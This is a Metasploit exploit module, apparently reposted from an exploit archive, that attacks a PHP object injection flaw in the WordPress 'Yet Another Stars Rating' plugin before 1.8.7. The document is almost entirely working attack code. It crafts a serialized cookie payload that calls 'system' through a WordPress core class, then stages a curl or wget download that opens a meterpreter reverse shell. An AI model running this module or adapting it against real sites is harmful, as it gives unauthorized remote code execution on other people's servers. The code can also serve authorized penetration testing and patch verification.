Share
## https://sploitus.com/exploit?id=PACKETSTORM:160618
class MetasploitModule < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7',  
'Description' => %q{  
This module exploits Wordpress PHP Object Injection in Yet Another Stars Rating plugin < 1.8.7.  
The vulnerability is exploitable if there is the Wordpress site uses a 'yasr_visitor_votes'  
shortcode in a page (authenticated or not).   
  
This exploit uses the Requests_Utility_FilteredIterator as WP core class to exploit deserialization.  
The class allows to send an array and a callback in the constructur, and it will be called in every foreach loop.   
As the vulnerable module uses the unserialized cookie for a foreach loop, it is possible to exploit this behaviour   
to exploit the vulnerability.   
Wordpress disable deserialization for Requests_Utility_FilteredIterator in Wordpress >= 5.5.2, so the exploit only   
works for Wordpress versions < 5.5.2.  
  
Tested on:   
- Wordpress 5.4.1,   
- Yet Another Stars rating plugin = 1.8.6  
- php 5.6 (in php7 you should customize the serialization payload to try the exploitation)  
  
  
},  
'Author' =>  
[  
'Paul Dannewitz', # Vulnerability Discovery  
'gx1 <g.per45[at]gmail.com>', # Exploit Developer  
],  
'Platform' => 'linux',  
'Arch' => ARCH_PHP,  
'Targets' => [['WordPress', {}]],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',  
'CMDSTAGER::FLAVOR' => 'curl'  
},  
'CmdStagerFlavor' => ['curl', 'wget'],  
'References' =>  
[  
['URL', 'https://wpscan.com/vulnerability/9207'],   
['URL', 'https://dannewitz.ninja/posts/php-unserialize-object-injection-yet-another-stars-rating-wordpress'],   
['URL', 'https://www.cybersecurity-help.cz/vulnerabilities/17273/'],  
['URL', 'https://cybersecsi.com/study-php-unserialize-object-injection-in-yet-another-stars-rating-plugin-by-using-docker-security-playground/'] # Exploit development explanation  
],  
'License' => MSF_LICENSE  
))  
  
register_options([  
OptString.new('PATH_CONTAINING_YASR_SHORTCODE', [true, 'The path containing yasr_visitor_votes shortcode', '/'] ),  
OptBool.new('REQUIRE_LOGIN', [true, 'If you need login to view tha path containing yasr shortcode', false] ),  
OptString.new('USERNAME', [false, 'The Wordpress username to authenticate with'] ),  
OptString.new('PASSWORD', [false, 'The Wordpress username to authenticate with'] )  
])  
register_advanced_options([  
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])  
])  
end  
def yasr_path  
return datastore['PATH_CONTAINING_YASR_SHORTCODE']  
end  
  
def cmdstager_path  
@cmdstager_path ||=  
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"  
end  
  
def username  
return datastore['USERNAME']  
end  
  
def password  
return datastore['PASSWORD']  
end  
  
def require_login  
return datastore['REQUIRE_LOGIN']  
end  
  
def check  
if not wordpress_and_online?  
print_error("#{target_uri} does not seem to be WordPress site")  
return  
end  
version = wordpress_version  
if not version.nil?  
print_status("#{target_uri} - WordPress Version #{version} detected") if version  
if Gem::Version.new(version) >= Gem::Version.new("5.5.2")  
print_bad("Version higher or equal to 5.5.2")  
return CheckCode::Safe  
end  
  
return check_plugin_version_from_readme('yet-another-stars-rating', '1.8.7')  
end  
return CheckCode::Unknown  
end  
  
def serialized_payload(p)   
return "C%3A33%3A%22Requests_Utility_FilteredIterator%22%3A#{p.length + 63 + p.length.digits.length }%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A#{p.length}%3A%22#{URI.encode_www_form_component(p)}%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A6%3A%22system%22%3B%7D%7D"   
end   
  
def exploit  
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?  
if require_login  
print_status("Authentication required, try to login")  
cookie = wordpress_login(username, password)  
if cookie  
print_status("Login successed")  
else  
fail_with('Authentication failed', "Unable to login")  
end  
else # No login: empty cookie  
cookie = ""  
end  
print_status("Run exploit")   
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")  
@cmdstager = generate_cmdstager(  
temp: datastore['WritableDir'],  
file: File.basename(cmdstager_path)  
).join(';')  
  
register_file_for_cleanup(cmdstager_path)  
sp = serialized_payload(@cmdstager)  
print_status("Send serialized payload: #{sp}")  
cookie = "#{cookie} yasr_visitor_vote_cookie=#{sp}"  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => yasr_path,  
'cookie' => cookie},   
1)  
end  
  
end